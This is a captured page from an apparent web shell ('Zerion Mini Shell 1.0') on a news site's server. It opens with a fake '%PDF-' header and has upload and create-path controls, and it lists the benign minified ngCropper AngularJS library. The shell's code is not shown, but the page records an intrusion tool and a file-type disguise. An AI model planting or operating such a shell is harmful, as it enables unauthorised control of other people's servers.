%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/news/public/bower_components/ng-cropper/dist/
Upload File :
Create Path :
Current File : /var/www/html/news/public/bower_components/ng-cropper/dist/ngCropper.min.js

!function(){"use strict";angular.module("ngCropper",["ng"]).directive("ngCropper",["$q","$parse",function(e,t){function n(t,n){t=t||{};var o=e.when(t);return t.maximize&&(o=r(t,n)),o}function r(e,t){return o(t).then(function(t){return e.data=t,e})}function o(t){var n=e.defer(),r=new Image;return r.onload=function(){n.resolve({width:r.width,height:r.height})},r.src=t.src,n.promise}return{restrict:"A",scope:{options:"=ngCropperOptions",proxy:"=ngCropperProxy",showEvent:"=ngCropperShow",hideEvent:"=ngCropperHide"},link:function(e,r){function o(n){if(e.proxy){var r=t(e.proxy).assign;r(e.$parent,n.cropper.bind(n))}}var i=!1;e.$on(e.showEvent,function(){i||(i=!0,n(e.options,r[0]).then(function(e){o(r),r.cropper(e)}))}),e.$on(e.hideEvent,function(){i&&(i=!1,r.cropper("destroy"))}),e.$watch("options.disabled",function(e){i&&(e&&r.cropper("disable"),e||r.cropper("enable"))})}}}]).service("Cropper",["$q",function(e){function t(t){var n=e.defer(),r=new Image;return r.onload=function(e){n.resolve(e.target)},r.src=t,n.promise}function n(e){var t=document.createElement("canvas");return t.width=e.width,t.height=e.height,t.style.display="none",document.body.appendChild(t),t}function r(e){e.parentElement.removeChild(e)}this.encode=function(t){var n=e.defer(),r=new FileReader;return r.onload=function(e){n.resolve(e.target.result)},r.readAsDataURL(t),n.promise},this.decode=function(e){for(var t=e.split(";")[0],n=t.split(":")[1],r=atob(e.split(",")[1]),o=new Uint8Array(r.length),i=0;i<r.length;i++)o[i]=r.charCodeAt(i);return new Blob([o],{type:n})},this.crop=function(e,o){var i=this.decode;return this.encode(e).then(t).then(function(t){var a=n(o),c=a.getContext("2d");c.drawImage(t,o.x,o.y,o.width,o.height,0,0,o.width,o.height);var h=a.toDataURL(e.type);return r(a),i(h)})},this.scale=function(e,o){var i=this.decode;return this.encode(e).then(t).then(function(t){var a,c,h,d=t.height,p=t.width;angular.isNumber(o)&&(a=o,c=d*a,h=p*a),angular.isObject(o)&&(a=p/d,c=o.height,h=o.width,c&&!h?h=c*a:h&&!c&&(c=h/a));var u=n(o),s=u.getContext("2d");u.height=c,u.width=h,s.drawImage(t,0,0,p,d,0,0,h,c);var f=u.toDataURL(e.type);return r(u),i(f)})}}])}();

Zerion Mini Shell 1.0